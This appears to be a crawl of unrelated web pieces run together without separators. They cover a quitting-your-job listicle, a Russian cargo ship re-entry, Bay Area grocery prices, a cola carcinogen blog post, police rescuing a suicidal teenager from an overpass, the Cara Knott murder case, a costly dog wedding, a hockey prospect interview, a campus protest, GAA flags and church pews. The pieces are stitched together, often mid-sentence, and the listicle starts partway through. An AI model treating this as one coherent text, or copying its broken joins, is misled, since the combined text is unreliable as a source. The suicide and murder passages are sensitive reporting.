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3. Cupcakes Media Source These cupcakes are a really thoughtful way to quit. The only downside is that if employees take the wrong cupcake before the boss sees them, they might not quite get the message.
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4. Steven Slater Media Source Steven Slater was a flight attendant for JetBlue Airways. After having a confrontation with a passenger, he grabbed the microphone, quit his job over the PA system, and as the plane was landing, grabbed two beers, popped open the emergency evacuation slide and jumped down it. He ended up briefly being a celebrity, but ultimately ended up owing JetBlue around $10,000 dollars for his actions.
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5. Marching Band Media Source Joey DeFrancesco hated his job at a hotel, so he decided to quit and enlisted his friends to help. Fortunately, Joey's friends perform in a marching band, enabling his resignation to be as loud as humanly possible
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6. Color Coded Media Source Everyone knows that the most important part of any resignation letter is that it is pretty. Writing it out in colorful crayons and including a bonus doodle of a dog ensured that Cat's letter was the fairest of them all.
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7. Greg Media Source Greg was pretty fed up with Wendy's and it shows. We're curious as to how long that sign was up before anyone let management know.
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8. Mr. Cake Media Source Chris Holmes wanted to actually show his coworkers why he was quitting, so he put his skills to good use. He baked a professional quality cake to say goodbye and managed to advertise his new cake business at the same time.
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9. Smell Ya Later Media Source Words really can't describe this one. Just take a look at it. Really soak it in. We'd expect nothing less from a man with the nickname, "T-Bone."
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10. Mac Alert Media Source It's probably not a good idea to tick off people who are clearly capable of taking control of your computer. This message brought to you by the Democratic People's Republic of Korea.
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11. Barbershop Sextet Media Source This is easily the most stylin' way anyone has ever quit. Honestly, everyone in the building probably just wants him to quit again so they can hear more singing.
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12. GoDaddy Super Bowl Commercial Media Source Gwen Dean is actually a real person, who quit her job during a Super Bowl Commercial. She seems to have gotten the best of everything. She quit her job, opened a new business and got it advertised on one of the world's biggest stages, all for responding to an ad looking for someone getting ready to quit.
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13. Ice Ice Baby Media Source In this case, it was actually a manager who quit while performing a choreographed dance to "Ice Ice Baby. " He's clearly given all of his employees something to aspire to.
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14. Banana and a Mariachi Band Media Source This one is on the list for sheer weirdness. This guy marched into his office while dressed as a banana with a full Mariachi band blaring behind him. Everyone seems more puzzled than annoyed.
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15. Exit Strategy Media Source I wonder if the people of Exit 329 were the ones who got him fired. Otherwise, this just seems unfair.
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16. A Toast Media Source Nothing says classy quite like buying your boss a bottle after five years together. Now, if only it wasn't Jack Daniels.
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17. Eric Media Source Eric's resignation letter appears to be written on a piece of toilet paper with a Sharpie. We're guessing this might reflect how he feels about the job.
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18. Help Wanted Media Source Putting up the Help Wanted sign to find your own replacement must be one of the most satisfying feelings in the world. Here's hoping Joe got a new job with a boss who shows up on time.
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19. Van Halen Media Source Eric Silver wanted to make sure that Wendy Raye remembered him. His Van Halen logo will almost certainly guarantee that.
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20. Via Viral Video Media Source Maria Shifrin worked for a company that made videos. So it only makes sense that she decided to make a video as her notice of resignation. The video went viral, proving that Marina knows her stuff, but her bosses got the last word.An out-of-control, unmanned Russian cargo spacecraft that malfunctioned on its way to the International Space Station last week will fall to Earth this evening.
As of Thursday mid-morning, the Progress 59 M-27M spacecraft was expected to fall between 6:13 p.m. ET and 9:51 p.m. ET Thursday, the Russian space agency Roscosmos reported.
The ship is expected to burn up nearly completely in the Earth's atmosphere, and only a few small pieces will reach the planet's surface, Roscosmos said.
They should be similar in size and nature to those that fall to Earth when a Progress spacecraft normally burns up in the atmosphere after making a successful delivery to the International Space Station, Roscosmos added.
Spinning once every 1.8 seconds
According to the European Space Agency Space Debris team, the likelihood of the Progress spacecraft re-entering the atmosphere over North America or Europe has dropped significantly.
ESA reports that the Progress spacecraft was spinning very quickly, about once every 1.8 seconds.
As of mid-morning Thursday, the satellite tracking site Satview.org predicted the spacecraft will re-enter the atmosphere over central Africa around 9:16 p.m. ET today.
The satellite tracking site Satview.org predicts the spacecraft will re-enter the atmosphere over central Africa around 9:16 p.m. ET today. (Satview.org)
Progress 59 M-27M was launched on April 28 with 2.8 tonnes of supplies for the International Space Station, including food and fuel.
However, after launch, flight controllers lost control of the ship, which had entered the wrong orbit, wasn't transmitting data, and was spinning "at a rather significant rate."
The following day, Roscosmos declared the spacecraft a loss and gave up trying to control it.Why groceries cost more in the Bay Area
Top: Andy Katz (center) of S.F., at the Ferry Plaza Farmers Market in S.F., shops for Brussels sprouts from Iacopi Farms of Half Moon Bay and other produce, above. Top: Andy Katz (center) of S.F., at the Ferry Plaza Farmers Market in S.F., shops for Brussels sprouts from Iacopi Farms of Half Moon Bay and other produce, above. Photo: Michael Short, The Chronicle Photo: Michael Short, The Chronicle Image 1 of / 34 Caption Close Why groceries cost more in the Bay Area 1 / 34 Back to Gallery
Despite living close to the country's most productive cropland, Bay Area shoppers pay steeper prices at the grocery store than people who live much farther from farms.
A cost comparison of the staples of American diets shows that San Francisco prices are on par with those in Washington, D.C., a city with a more distant and tenuous connection to farmers.
The price of basic food items has become a big issue for consumers. With a deadline approaching, Congress has yet to pass a farm bill, raising the specter of a "dairy cliff" that could roll back government subsidies and double the retail price of milk. That Capitol Hill debate could have other implications for California shoppers.
But if and when the farm bill is adopted, prices in San Francisco and Washington are expected to remain similar. That's because the distance food needs to travel to reach store shelves - and the associated fuel and transportation costs - is a small piece of the pricing structure, according to both agricultural economists and farm advocates.
"The ultimate seller has to factor in all those other costs as well," said California Farm Bureau Federation spokesman Dave Kranz. "The cost of labor, keeping the lights on in the store, whatever regulations they have to comply with all go into the cost, and that's a larger proportion of the cost than the actual cost of the food itself."
Dr. Roberta Cook, a marketing economist in the Department of Agricultural and Resource Economics at UC Davis, estimates that on average about half of the country's fresh fruits and vegetables are grown in California. About three-fourths of some products - lettuce, broccoli, cauliflower, fresh oranges and most leafy greens - are grown in California, as are an even higher percentage of fresh strawberries and raspberries.
But that proximity to the source doesn't necessarily translate to lower prices because produce labeled and marketed as "local" can be sold at premium prices to consumers who are willing to spend more to support area businesses. It's a matter of supply and demand.
Furthermore, production of many of the food and beverage items that constitute part of the basket of goods used to define the Consumer Price Index is not dominated by California farmers to the same extent as fresh produce.
Milk prices
The fact that milk costs more in San Francisco than Washington, D.C., might, on the surface, be the most surprising finding. California, after all, produces more milk than any other state, and milk is highly perishable, meaning timing and temperature during transport are critical.
However, only a small fraction of California's milk supply is kept fluid, with the vast majority converted to frozen or soft products like ice cream, yogurt, cheese and butter that can be more easily exported.
And because milk prices are regulated and the commodity is relatively inexpensive, retail stores in California generally don't attempt to compete aggressively on the basis of milk prices.
Milk is just one example. Ultimately, there's no clear across-the-board link between farms and end prices to consumers.
"It's certainly true that retail prices do not map farm prices," said Dan Sumner, director of the University of California Agricultural Issues Center at Davis.
"The marketing margins themselves between the farm and the retail price, we have data, and there's some broad regularities, but it's really not well understood exactly what those patterns are."
Sumner downplays the role that some factors play in the final cost - "Transport costs are tiny per unit of food" - and points to others, like California's high rents, high labor costs and high cost of living, as clearly important. But other variables are difficult to measure.
New regulations
One confounding example is that of new regulations on the sale of eggs, set to take effect in 2015. It's generally accepted that the rule, which will require more space for each egg-laying hen, will add costs at the farm level. But it remains to be seen what will happen to egg prices when what is currently a specialty product becomes the standard for everybody.
"Stores are balancing all of those prices to try to make a living running the store. It may be the case that conventional eggs are a loss leader, so I promote those if I think they'll bring people into the store, and I might charge more for breakfast cereals," Sumner said.
"There are lots of ways to slice that question, and we're working on it, but we don't have a definitive answer."Bad news: Coca-Cola and Pepsi have a carcinogenic ingredient: 4-methylimidazole (4-MEI). More bad news: They are not taking it out, they are just reducing it to avoid having to display a cancer warning label in their cans and bottles.
4-methylimidazole is a molecule that forms during heating and browning processes, like those that may happen when you cook food. It can also be present in agricultural chemicals, dyes or caramel coloring.
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The element has been included by the state of California in its list of known carcinogens after 4-MEI was linked to cancer in mice and rats in a scientific study. The US Food and Drug Administration, however, says that there's no risk: they claim that you would need to drink more than one thousand cans a day to take the same dose administered to the rats and mice who got cancer.
Do I really have to take them all in one day, Mrs. FDA, m'am? Because I can see some people having a thousand cokes a year. Perhaps California is doing this because she thinks she knows better even while we all know she spends her whole day surfing, hanging around smoking pot and checking Path in her iPhone.
That's what Coca-Cola thinks. They completely dismiss the findings and gives the finger to California's new regulation. Spokeswoman Diana Garza-Ciarlante told the AP that they have introduced the reduction in that ingredient so they "would not be subject to the requirement of a scientifically unfounded warning". High five, corporate America.
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They have done this in California and they are rolling this ingredient reduction—not elimination—all across the United States.
The American Beverage Association defended Coca-Cola and Pepsi's decision. They also dismissed the study and California state's move. They claim these studies offer no evidence of health risks to humans.
Whatever. Let them battle. If I have to get fat, I'd rather get fat by non-carcinogenic stuff. If possible, because at that point I'm starting to think everything is carcinogenic. I just like the taste of Boylan's Creme Soda or Cane Soda better than any of the Coke and Pepsi crap. You know, sodas made with actual sugar and no ingredients that I can't pronounce without spitting on whoever is in front of me and sounding like an imbecile. [AP]
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Image by foto4lizze/Creative CommonsCOSTA MESA – She stood on a ledge a few inches wide over the busy 55 freeway, her small frame beginning to falter.
Costa Mesa police officers would later find out the girl on the bridge was only 14. All they knew when they arrived at the Wilson Street overpass was that they had to get her down.
Officers first heard of a person on the bridge around 6:30 p.m. on Tuesday. When they arrived, they found the girl on its southbound outside edge, a chain-link fence separating her from the safety of the sidewalk. The first officer at the scene began to talk to her as others – including firefighters and a trained hostage negotiator – began to arrive. She turned her face away and didn’t respond.
Talking to people threatening suicide is the first course of action for police, and generally, it’s successful, Sgt. Tim Starn said. This time, though, the 27-year veteran of the Costa Mesa Police Department began to prepare backup plans.
“There was absolutely no communication with her at all,” he said.
The girl smelled like alcohol, and she took out a tube of Chapstick. Instead of lip balm, it contained pills, which she swallowed, he said. She then began walking toward the center of the bridge, directly over the freeway. She still didn’t respond to officers, who began to worry she might lose consciousness.
“We were afraid she was going to pass out and fall,” Starn said.
Starn and two others, Officer James Brown and Officer David Sevilla, took a position at the middle of the bridge, where the fence opened a few inches around a light pole.
“We would not let her get past that,” he said.
Firefighters stood ready to take her to a hospital, and the freeway shut down. Other officers began cutting away at the fence, attempting to reach her. Before they could get through, however, Starn said she began to sway. The pills and alcohol were quickly taking over – not a surprise, given her size, Starn said.
“We realized we didn’t have that time,” he said.
Brown, Sevilla and Starn acted in unison. They reached through the opening in the fence around the light post – a gap of only about 6 inches – and held on to the unsteady girl.
“We just reached through at the same time and grabbed whatever we could grab,” he said.
They hoped to simply keep her from falling, but she was small enough to pull her through the gap in the fence. It wasn’t until that moment that officers realized how young she was, Starn said.
“We just needed to get her off there,” he said.
They carried the girl, who was now trying to fight them off, to a gurney and she was taken to Hoag Hospital. From there, the officers went their separate ways to other emergency calls – it was a busy night, Starn said.
Later, he and the chief returned to the bridge to contemplate what could have happened, he said.
“We looked at it,” he said. “It would have been really bad.”
Finding someone so young in life-threatening danger is a stressful situation, Starn said, but it’s also part of the job.
“When you get in the middle of them, you’re just thinking about one thing and that’s the mission,” he said. The mission over those 15 minutes – which felt much longer, Starn said – was to save her life.
“I’m just really thankful,” he said. “There’s no question. She was going down when we grabbed her.”
Contact the writer: ckoerner@ocregister.com or 714-704-3706Cara Evelyn Knott (February 11, 1966 – December 27, 1986)[2] was an American student at San Diego State University who disappeared on December 27, 1986 while driving from her boyfriend's home in Escondido, California to her parents' house in El Cajon. The following day on December 28, her car was found below a 65-foot bridge at the bottom of a ravine, near an abandoned off-ramp in San Diego County.
Her killer, Craig Allen Peyer (b. March 16, 1950), was a police officer and 13-year veteran of the California Highway Patrol (CHP). At Peyer's trial, it was revealed that he had been targeting women along the interstate and had made predatory sexual advances on multiple female drivers.[3] He was convicted of Knott's murder in 1988.
Murder [ edit ]
Scene of the crime.
On the night of December 27, 1986, 20-year-old Cara Knott was driving south on Interstate 15 from her boyfriend's home in Escondido, California to her parents' home in El Cajon when Peyer, who was on duty in a marked CHP patrol car, directed Knott to pull off the freeway on an isolated, unfinished off-ramp.[3] It was later discovered that Peyer also had been harassing several other female drivers in the same area by pulling them over on the same off-ramp, supposedly trying to pick them up as dates. In the Knott case, it was believed that the situation escalated to physicality when Knott threatened to report Peyer for his inappropriate actions. When he attempted to grab her, she slashed and scratched at his face. Peyer then bludgeoned her with his flashlight and strangled her to death with a rope.[4] He then threw her body over the edge of an abandoned bridge where she fell into the brush below.
Coincidentally, two days later, while covering the investigation of the murder, a reporter with KCST-TV interviewed Officer Peyer during a ride-along segment about self-protection for female drivers. At the time of the interview, Peyer had scratches on his face which, as details of the case unfolded, were thought to have been inflicted by Knott during the struggle with him.[3] He tried to explain they were caused when he fell against a fence in the CHP parking lot but the fence was found to be too high to have caused the scratches on Peyer's face. Moreover, witnesses at a gas station within about the hour of the murder were thought to have occurred observed a disheveled Peyer drive in at high speed. One of them, who actually happened to be an off-duty San Diego police officer, reported seeing the scratch marks an hour before Peyer claimed he got them.
Investigation [ edit ]
Just after the KCST broadcast, nearly two dozen telephone calls, mostly from women, were received by authorities, with the callers reporting that Peyer was the officer who had pulled them over on the same off-ramp, even though in these cases Peyer was not hostile or violent towards them. They said that while he may have been friendly with them, he also made them uncomfortable. In some cases, he gently stroked their hair and shoulders, which caused them some distress. In addition, there had been complaints about him before the murder by several women but were dismissed because of his reputation within the department.
Another witness said he saw a patrol car accompanying a Volkswagen Beetle, which was thought to be the one Knott was driving, in that exact area at about the time the murder was known to have occurred. Knott last was seen alive at a Chevron gas station just two miles away from the murder scene. The attendant remembered seeing a marked CHP patrol car making a u-turn on the road just after Knott had driven away.
Peyer's own logbook revealed a hasty falsification about that time as well as changes he made to several traffic tickets that had been written some time later—according to the motorists to whom the tickets were written. Forensic dentist Norman Sperber examined the rope found in his patrol car, and determined they seemed to match the rope marks around the victim's neck, although Sperber was later barred from testifying about his findings in court.[5] A distinctive and unusual gold rayon fiber—found to have been made using a yellow pigment instead of a dye—found on Knott's dress matched a shoulder patch Peyer wore on his CHP uniform.[6] Tire tracks on the bridge showed a car had pulled out hastily leaving black marks on the pavement. Furthermore, a drop of blood was found on one of Knott's boots which was found to be consistent with Peyer's blood type (AB negative, the rarest type)[3] and other genetic markers, although conclusive DNA testing was not available at the time of the investigation. Microscopic purple fibers also linked Peyer to Knott's murder.[6]
Peyer's fellow officers testified to the defendant's strange actions following the murder, with his continuous requests regarding the investigation's status and his attempts to justify the perpetrator's crime as a mistake.[citation needed] An internal investigation showed that while he stopped many drivers for various legitimate violations, most of them were females who were driving alone. Additionally, they were of the same age group and physical description as Cara Knott.[citation needed]
Trials [ edit ]
The first trial resulted in a hung jury.[7] Upon retrial, testimony regarding a potential second suspect and a hearsay explanation for the defendant's scratches was ruled inadmissible, and Peyer was found guilty of murder, the first conviction of murder by an on-duty CHP officer.[8] On August 4, 1988, Peyer was sentenced to 25 years to life.[4]
After conviction, Peyer continued to claim his innocence. In 2004, Peyer was asked if he would contribute a sample of his DNA to a San Diego County program, which had been designed and initiated to use DNA samples to possibly exonerate wrongfully imprisoned persons, because such testing was not yet available at the time of his trial and conviction. Peyer refused to provide any DNA for the test. At an initial parole hearing in 2004 after having served 17 years, when asked why he wouldn't provide a DNA sample, Peyer refused to answer. The board denied his parole, on the grounds of his lack of remorse for the crime, as well as for his refusal to explain why he was saying he was innocent, yet would not let anyone help him prove it.
Aftermath [ edit ]
Shortly after the crime and trial, a wave of incidents were reported when female drivers traveling alone refused to stop when ordered to by the police. After several incidents, the State of California mandated that drivers traveling alone when ordered to stop could do so in the vicinity of high-profile areas such as malls or gas stations where there would be the likelihood of witnesses.
On December 2, 2000, Sam Knott, Cara Knott's father, died of a heart attack several yards from the site where Cara's body was discovered, where the family had constructed a memorial garden for her.[3][9]
Peyer has been denied parole two additional times: in 2008 (served 21 years),[10][11] and 2012 (25 years).[12] His next eligibility for parole hearing was set to 15 years (longest time allowable under state law) from then to January 2027 (40 years in prison); he will be 77 years old. Peyer is serving his sentence at California Men's Colony in San Luis Obispo, California which is considered a "country club" and "garden spot" among California prisons. At the time of his second parole hearing in 2008 he had "a nearly unblemished prison record" and "worked as an electrician at the facility"[11] for years, making $52 per month in salary from the job in 2003.[13] He worked shortly as an apprentice electrician after getting fired from CHP while on bail before the trial.[14][15] His third wife Karen whom he married 18 months before the murder and who visited him regularly divorced him around 2007.[13][11] Around 2010 his elderly parents who used to visit him every other month passed away.[13]
Media [ edit ]
The Craig Peyer case has been covered in several books:
True Stories of Law & Order: SVU by Kevin Dwyer and Juré Fiorillo (Berkley/Penguin 2007)
by Kevin Dwyer and Juré Fiorillo (Berkley/Penguin 2007) You're the Jury by Judge Norbert Enrenfreund and Lawrence Treat (Holt Paperbacks 1992)
by Judge Norbert Enrenfreund and Lawrence Treat (Holt Paperbacks 1992) Badge of Betrayal: The Devastating True Story of a Rogue Cop Turned Murderer by Joe Cantlupe and Lisa Petrillo (Avon Books (Mm) 1991.)
The case was also the subject of a few episodes of different television shows:
See also [ edit ]Louise Harris, 32, admits to spending thousands on birthdays, designer outfits, and bespoke jewellery for her six-year-old pet dog Lola.
But now Louise has gone even further - spending more than most human couples do on their nuptials, to organise Britains most expensive dog wedding.
Louise invited 80 guests to the lavish ceremony to watch Lola tie the knot with Mugly a Chinese Crested, who holds the title of the UKs ugliest dog after first winning the accolade in 2005.
The bash was held in an outdoor marquee in the grounds of a mansion in Bradwell-on-Sea, Essex, costing £2,500 for the venue alone.
She also spent an incredible £1000 on decorative flowers, £3000 on designers to decorate the marquee, £400 for her own personal wedding planner, and even £400 for security guards.
Louise, who owns two other Yorkshire Terriers, Lulu, four, and two-year-old Larry, said: "I wanted Lola to have the perfect day.
"It was meant to only be a relatively small affair with 30 guests but the list just kept getting bigger and bigger because I didnt want to leave anyone out! Just like most weddings I guess!
"The day was perfect from start to finish and Lola loved being the centre of attention all day.
"My dogs are my pride and joy so nothing is too good for them. I enjoy spoiling them because it makes me happy.
"Lola has completely transformed my life and brings me so much happier so this was my way of thanking her. She loved being the centre of attention!"
Louise who runs dog boutique and grooming parlour Diva Dogs, in Essex - ran an online competition on her DivaDogs website and Facebook page to find the perfect husband for her princess Lola.
She received hundreds of entries of would-be suitors for Lol but whittled it down to a final six potential partners.
But much to her surprise, Lolas obvious favourite was Mugly, previously voted Britains ugliest dog, owned by mum-of-four Bev Nicholson, 47.
Louise said: "I wanted to find Lola a husband as her brother and sister, Lulu, and Larry, are very close and she often gets left out.
"But I must admit when I went to meet Bev and Mugly I really didnt think Lola would like him.
"She is a bit of a diva and loves her clothes and jewellery so I did think she would go for a dog more like her.
"But they do say opposites attract and they happily played together all day.
"They seemed to really enjoy being together and had a lot of fun so I thought he was the perfect future husband for Lola."
Louise then set about planning the perfect wedding day for September 2010 and it took her three months to organise.
On the wedding day Lola wore a £1000 wedding dress, made by dog clothes designer Michele Ochs, who created all the outfits in the Beverly Hills Chihuahua film, customised with 1,800 Swarovski crystals by Latimer Couture.
Her outfit was finished off a £400 pearl necklace, Swarovski crystal leg cuffs costing £250, and finally a Swarovski crystal lead costing £350 to complete the outfit.
Lulu acted as Lolas bridesmaid in a £100 dress by Latimer Couture, complete a £200 Swarovski crystal necklace and £150 head dress.
And Larry was her page boy wearing a £100 tux by Michele Ochs.
It took Louise two hours to get them all groomed and dressed for the ceremony at 2pm.
She also bought hundreds of floral arrangements, costing £1000, with decorations and matching balloons with a cost of £3000 adorned the wedding marquee.
And as Louise wearing her own pink designer dress - walked Lola down the aisle to Mugly awaiting in a tux, a harpist to played Here Comes The Bride.
Register Ann Clark carried out the ceremony before pronouncing Mugly and Lola dog and wife.
Afterwards the human guests were treated to a buffet complete with a six-foot-high chocolate fountain with fresh fruit, mini doughnuts, and fudge, costing £300.
The guests were also treated to a £200 cupcake tower, and a luxury buffet by Fuud caterers, costing £2000.
Meanwhile the dog guests had 50 of their own dog-friendly cup cakes, and their own chocolate fountain, before they could settle down for a nap or a bit of play time in the dog crèche, manned by four staff.
Lola still lives with Louise at her home in Essex but sees Mugly once a month.
In total Louise spent the £20,150 on:
-Venue £2,500
- Jewellery £1,350 - Pearl necklace designed by Latimer couture with real pearls (£400), Swarovski crystal leg cuffs (£250) complete with Swarovski crystal lead (£350), Lulu wore a dress customised by Latimer couture (£100), Swarovski crystal necklace (£200) and head dress (£150).
- Dog outfits £1200
- Food for human food £2500
- Food for dogs £500
- Car hire of Bentley £500
- Dancers £500
- Make up artist £200
- Hairdresser £200
- Dog groomers £200
- Photographers £500
- Louise's outfits £600
- Favours £500
- Drinks £600
- Dog creche including doggy gifts £1000
- Gifts £1500
- Flowers £1000
- Designers to decorate the marquee £3000
- Chocolate fountain £300
- Cupcake tower £200
- Security £400
- Wedding planner £400
- |
El Nino, threatening continued dry conditions across the Caribbean and Central America. The drought and lack of rain is a problem the U.S. government cannot fix with money or supplies. The Department of Agriculture has been working with the local schools to come up with meals that can be prepared without water.
But what about sanitation? Going to school on days when the water has been turned off increases the risk of health problems and the spread of disease. The same situation holds true in people's homes. Puerto Rico's resources have become limited.A sixth-round pick in 2016 for the Winnipeg Jets, Russian goaltender Mikhail Berdin decided to cross the pond last autumn to play in the USHL, for the Sioux Falls Stampede. The Hockey Writers talked with the goalie prospect in his native Russian after a practice.
In this exclusive interview, Berdin talked about his move to the USHL, his adaptation to his new life, and his prospects with the Jets.
Early Life
The Hockey Writers: Where were you born? When did you start playing hockey?
Mikhail Berdin: I was born in Ufa. I started playing when I was seven, for Salavat Yulaev Ufa.
THW: Did you always play as a goalie?
MB: No, I did not. I was a forward at the start, but then after a year or so, I don’t exactly remember right now, I moved back to goal.
THW: When did you move to Cherepovets?
MB: When I was 14 I moved to Vityaz Podolsk. I played two years for them, then I moved up to Cherepovets.
THW: In Cherepovets, you started playing in the MHL. Was it hard to move from kids hockey to junior hockey?
MB: It wasn’t too hard for me. I was ready for that, I was already playing for the national team. We played under a great coach, [Former St. Louis Blues forward] Vitali Prokhorov, who got us ready for more mature hockey. I have been given a chance in the MHL as I was trusted by the coaches, and it turned out that I played my cards well.
THW: The Team Russia U18 project can be called a success anyway?
MB: Of course, it gave all of us an incredible chance to gain experience. And personally, it gave me a lot in terms of a jump towards pro hockey.
THW: You had a chance not only to play with very good players who are now NHL prospects but also to practice with them. Who scored on you most often?
MB: Well, we had many very talented players on the rosters. But it mostly was [German] Rubtsov who scored more.
Move Overseas
THW: After the season with Team Russia U18 you moved overseas. How did it all happen?
MB: I started the season with Severstal, but I wasn’t given a chance to play in the KHL, therefore I decided to continue my career in North America. I have to thank the staff as they allowed me to go.
THW: Was it your initiative?
MB: Yes, of course, it’s my life and I need to decide myself.
THW: How did you find your team, the Sioux Fall Stampede of the USHL?
MB: It was Winnipeg’s decision. There are very good conditions here, and it’s not far from Winnipeg.
THW: How high-level is the USHL as a league?
MB: I think it’s a good league. If we were talking about me, then it’s a great chance to gain experience. There are many shots, 30-40 shots a game, a goalie has all the conditions needed to improve and develop further.
Co-Goaltender of the Week: @NHLJets prospect Mikhail Berdin records 2nd shutout this month, stopped 78 total shots https://t.co/XjYb0YO2Pd pic.twitter.com/Xbge7VuKOq — USHL (@USHL) December 20, 2016
THW: Do you think is it much different from the Russian MHL?
MB: Do you mean the level of teams?
THW: Yes.
MB: Frankly speaking, it’s hard for me to reply to this question. The hockey is completely different, a whole different style.
THW: Many goalies in interviews mention that, while in North America there are more shots, in Russia shots are harder to face because they are more accurate in lower volumes. What can you say about this?
MB: There may be some truth here, but here [in North America] there are way more shots also due to the different ice surface, I get many dangerous shots from many positions. But to me it’s even better because I have to face more shots, get more action, it’s much more interesting to me to play on the smaller rinks.
THW: Did you play against other prominent Russian players in the USHL, Andrei Svechnikov and Maxim Zhukov?
MB: We played against Zhukov’s Green Bay, but he was the backup goalie that night. When we faced Svechnikov’s Muskegon Lumberjacks he wasn’t with the team as he was called to the national team for the Challenge Cup. Unfortunately, I’ve yet to play against them.
THW: Today your KHL rights belong to CSKA Moscow. How do you feel about it?
MB: I don’t even think about it. I’m focused on the current season only and I am not paying attention to external factors.
THW: Your team isn’t having the best season as the Stampede is currently last in the Western Conference.
MB: I don’t know what to say. We lacked some luck, we may also have worked harder, and with these factors, you get this result.
THW: You still have good stats. More wins than losses.
MB: I suffered from an injury in the middle of the season. I missed 15 games and, unfortunately, the team lost 14 of these games. It’s hard to catch up.
Mikhail Berdin with some spectacular goaltending of his own #WhosNext pic.twitter.com/Gz0sY99ZZo — USHL (@USHL) December 18, 2016
Life in the USHL
THW: Do you have other foreign players on your team?
MB: Yes, we have a Finn, a German, and a Ukrainian player.
THW: Probably it was easier for you to get along with Vitaliy Novytskyy.
MB: Yes, of course. When I just got here, I didn’t know a single word of English. Vitaliy did help me a lot.
THW: He’s played in America for many seasons already.
MB: Five years.
THW: Did he give you any advice in how to play on small rinks?
MB: Well, I already had experience playing on the smaller ice surface, but he helped me anyway, especially teaching how to correctly communicate with defensemen.
THW: Playing in the USHL you probably don’t have many chances to be noticed by national team scouts. You weren’t called by Valeri Bragin to the Canada-Russia series.
MB: Well, what kind of chances would I have got if I spent the whole season in the KHL without getting any ice time?
THW: Do you think you have a chance for next year’s tournament?
MB: Of course I want to be part of the team, but it’s up to the coach.
NHL Prospect
THW: Do you follow the Jets?
MB: Yes, I try to watch their games when I can. Also, I usually get a visit from a coach from Winnipeg who tells me all the news.
THW: Are you in talks for the next season?
MB: Right now, my agent is negotiating. I recently talked with the General Manager and the coach and we talked about that.
THW: Did they mention whether they are satisfied with your game?
MB: Yes, they are satisfied with my game and, in general, about my progress for this season.
THW: Many players enjoy playing video games during their free time. Are you among them?
MB: Of course.
THW: Do you play the EA NHL series?
MB: When I have someone to play with, I do.
THW: Do you also play other games?
MB: Yes, I enjoy playing Call of Duty, GTA. I also enjoy playing table tennis, the real one, not on consoles.
THW: It’s always been said that goalies are a particular kind of person. Myth or reality?
MB: Hard to say as you can’t really take all the guys together. But generally speaking, it’s the truth.The Nuburgring Nordschleife, also known as the “Green Hell”, is one of the most challenging tracks in the world. With 154 corners over 12.93 miles and a multitude of elevation changes, the track can take a while to learn. Former Maserati Test Driver, Ferrari Formula One Engineer, and CXC Simulations Lead Advisor Josh Allen has put together a video showcasing a lap around the track in Assetto Corsa, to help drivers learn this tricky circuit.
In this video, Josh Allen took the Ferrari 458 Italia around the Nordschleife, where he has logged “Too many laps to count” in real life (He also states that he has once done over FORTY-SIX laps in one day!!. He uses the Motion Pro II cockpit with a special pair of glasses, which can track his head movement, and show where he is looking. That’s pretty cool!
This was a very well-done video, and upon watching it, I think it will help me pick up on some spots where I was struggling on the track before. Thanks to CXC Simulations and Josh Allen for putting out this solid, informative video!
FUN FACT: Josh Allen is actually a local to my area, growing up in Healdsburg (about 15 miles from me).Georgetown University Law Center professors plan to take a knee outside of the campus auditorium where Attorney General Jeff Sessions is scheduled to speak Tuesday.
"We are not protesting his free speech; our colleague had every right to invite him to speak. We are protesting against his and the Trump administration's views on free speech," Georgetown Law professor Alicia Plerhoples told Buzzfeed.
More than 30 faculty members signed a statement that condemns the "hypocrisy of Attorney General Sessions speaking about free speech" in light of the Trump administration's stances on various related issues, including the NFL national anthem protests and the criminal prosecution of a woman who allegedly interrupted Sessions' confirmation hearing.
"These are just three examples of governmental action antithetical to freedom of speech and association for which Attorney General Sessions is either closely affiliated or directly responsible," the statement reads. "This kind of government chilling of speech is precisely what the First Amendment to the United States Constitution is meant to prevent. A man who fails to recognize paradigmatic violations of the First Amendment is a poor choice to speak about free speech on campuses."
One law student said they hope to have 100 students and faculty members participate in the peaceful protest during Sessions' speech.
"The Attorney General fully supports the right of faculty members to express their views, even when, as here, the assumptions underlying their viewpoints are based on false premises and inaccurate information," Justice Department spokesman Ian Prior said in a statement.
The event was organized by conservative law professor, Randy Barnett.A former GAA star and one of the sport's leading voices has would get rid of the Tricolour at games if it helped bring about reconciliation with unionists.
A former GAA star and one of the sport's leading voices has would get rid of the Tricolour at games if it helped bring about reconciliation with unionists.
Jarlath Burns also said he would support the ending of the playing of the Irish national anthem if it helped the sport reach out to Protestants.
The former Armagh senior football captain is now chairman of the Rules Committee in GAA headquarters at Croke Park and has been tipped as a potential head of the organisation in the future.
Mr Burns is regarded as one of the most progressive voices in gaelic sport and republicanism, and was a member of the Eames-Bradley group that produced a controversial report on dealing with the legacy of the Troubles.
Last night, he told 'Eamonn Mallie Meets' on Irish TV that the GAA needs to reach out to the unionist community.
And he said that symbols usually associated with the GAA now mean less to him than they once did - and losing them could help build bridges with unionism.
Asked whether he would have any reluctance about taking down the Tricolour over a GAA pitch, Mr Burns replied: "Yeah, it wouldn't cost me a though. And you know this - flags are divisive - do we need to say that any louder in this territory?"
He told broadcaster Mr Mallie that the older he gets, the less flags and anthems mean to him.
"If somebody was to propose in the morning that they were going to get rid of them all, it wouldn't bother me at all. It's not one of the core values that I have.
"It's an overtly political thing, it's something which is specific to national borders, it's nothing to do with [culture]."
However he also accepted that getting rid of flags and anthems "is not going to happen in the GAA".
Irish IndependentAnd why Catholic churches don't always have them.
In the United States we see pews as a necessary and basic part of every Catholic church. However, pews are a rather recent invention and surprisingly didn’t even originate in Catholicism.
For most of Church history, worshipers stood during the celebration of Mass. There did exist a few scattered benches for the elderly to sit on, but in general the nave of the church was entirely void of places to sit.
This made practical sense, especially when kneeling became a common posture of the laity. Additionally, in medieval churches the pulpit was typically placed in the middle of the church, apart from the sanctuary. This meant the laity had to physically walk over to the pulpit to listen to the priest’s very brief homily.
There was so much movement during Mass that no one, including the priest, ever had a chance to sit down.
Pews were essentially non-existent until the Protestant Reformation. In most Protestant churches the emphasis during worship services was not the many liturgical movements, but the sermon given by a preacher. The interpretation of the Bible by the local pastor was a chief focus of Protestant liturgies and led to long discourses at the pulpit.
Pews were gradually introduced over time and were especially popular in English churches. On account of the expensive nature of pews, individuals and families would purchase pews and guard them with their lives. In some cases they even constructed “pew boxes” to protect them, locking them up so that nobody else could use them. Unfortunately there even arose various legal battles over pews as individuals regarded their seats as personal property.
